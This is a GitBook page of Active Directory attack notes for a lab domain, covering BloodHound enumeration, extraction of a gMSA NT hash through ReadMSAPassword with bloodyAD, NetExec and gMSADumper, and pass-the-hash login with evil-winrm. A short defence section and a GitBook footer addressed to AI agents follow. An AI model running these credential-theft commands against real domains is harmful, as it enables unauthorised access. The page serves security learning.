> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/page-1.md).

# Page 1

## BloodHound Enumeration & gMSA Password Extraction

### What is BloodHound?

BloodHound is a tool that maps Active Directory permissions as a graph. It collects data about users, groups, computers, and ACLs, then lets you find the shortest path from your current account to Domain Admin.

Think of it like Google Maps for privilege escalation — you tell it where you are and where you want to go, it finds the route.

### Collecting Data

```bash
# From Linux — RustHound (fastest)
rusthound -d domain.htb -u svc_infra -p 'password' \
  -z -c All -o ./bloodhound_data/

# From Linux — BloodHound.py
bloodhound-python -d domain.htb \
  -u svc_infra -p 'password' \
  -ns 10.x.x.x -c All

# From Windows — SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
```

### Loading into BloodHound

```bash
# Start Neo4j database
sudo neo4j start

# Start BloodHound GUI
bloodhound &

# Login: neo4j / neo4j (change on first run)
# Drag and drop the .zip file into BloodHound
```

### Key Queries to Run

```
# Built-in queries (click the magnifying glass):
"Find Shortest Paths to Domain Admins"
"Find Principals with DCSync Rights"
"Shortest Path from Owned Principals"

# Mark your current user as owned:
# Right-click user node → Mark as Owned
```

### Important Edges (Permissions) to Look For

| Edge                  | Meaning               | Abuse                          |
| --------------------- | --------------------- | ------------------------------ |
| `GenericAll`          | Full control          | Reset password, add to group   |
| `GenericWrite`        | Write attributes      | Modify logon script            |
| `ForceChangePassword` | Reset password        | Change without knowing current |
| `AddSelf`             | Add yourself to group | Join privileged groups         |
| `ReadMSAPassword`     | Read gMSA password    | Get NT hash directly           |
| `WriteDACL`           | Modify ACL            | Grant yourself any permission  |
| `DCSync`              | Replicate AD secrets  | Dump all hashes                |

### What is a gMSA?

A Group Managed Service Account (gMSA) is a special AD account used by services (like IIS, SQL Server, scheduled tasks). Its password is:

* Automatically generated by AD (240 random characters)
* Rotated every 30 days
* Never known by any human
* Readable only by specific authorised accounts

```
Normal service account:
  admin sets password → service uses it → password never changes → gets cracked

gMSA:
  AD generates 240-char random password → rotates every 30 days → no human knows it
  BUT → certain accounts are allowed to READ the current password hash
```

### What is ReadMSAPassword?

In BloodHound, `ReadMSAPassword` means your account is in the list of principals allowed to retrieve the gMSA's current password attribute (`msDS-ManagedPassword`).

```
svc_infra ──[ReadMSAPassword]──► GMSA_CA_PROD$
```

This means you can retrieve GMSA\_CA\_PROD$'s NT hash right now.

### Extracting the gMSA Hash

```bash
# Method 1 — bloodyAD
bloodyAD --host dc01.domain.htb -d domain.htb \
  -u svc_infra -p 'Infrapass2024!' \
  get object 'GMSA_CA_PROD$' --attr msDS-ManagedPassword

# Output:
# msDS-ManagedPassword: <blob>
# NT Hash: e3b0c44298fc1c149afb...

# Method 2 — NetExec
nxc ldap dc01.domain.htb \
  -u svc_infra -p 'Infrapass2024!' \
  --gmsa

# Method 3 — gMSADumper (Python)
python3 gMSADumper.py -u svc_infra -p 'Infrapass2024!' \
  -d domain.htb
# GMSA_CA_PROD$:::e3b0c44298fc1c149afb...
```

### Pass-the-Hash with the gMSA

```bash
# Evil-WinRM with NT hash (no password needed)
evil-winrm -i dc01.domain.htb \
  -u 'GMSA_CA_PROD$' \
  -H 'e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855'

# NetExec to verify
nxc smb dc01.domain.htb \
  -u 'GMSA_CA_PROD$' \
  -H 'e3b0c44298fc1c149afb...'
```

### Why Pass-the-Hash Works

Windows NTLM authentication uses the NT hash directly in the challenge-response process. The password itself is never sent — only a hash derived from it. So if you have the hash, you can authenticate without ever knowing the plaintext password.

```
Normal login:   password → NT hash → sent to server
Pass-the-Hash:  NT hash directly → sent to server
(server can't tell the difference)
```

### Defence

* Regularly audit which accounts have `ReadMSAPassword` over gMSAs
* Grant `ReadMSAPassword` only to the specific service that needs it
* Monitor for unusual LDAP queries reading `msDS-ManagedPassword` (Event ID 4662)
* Add gMSA accounts to Protected Users group where possible


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/page-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.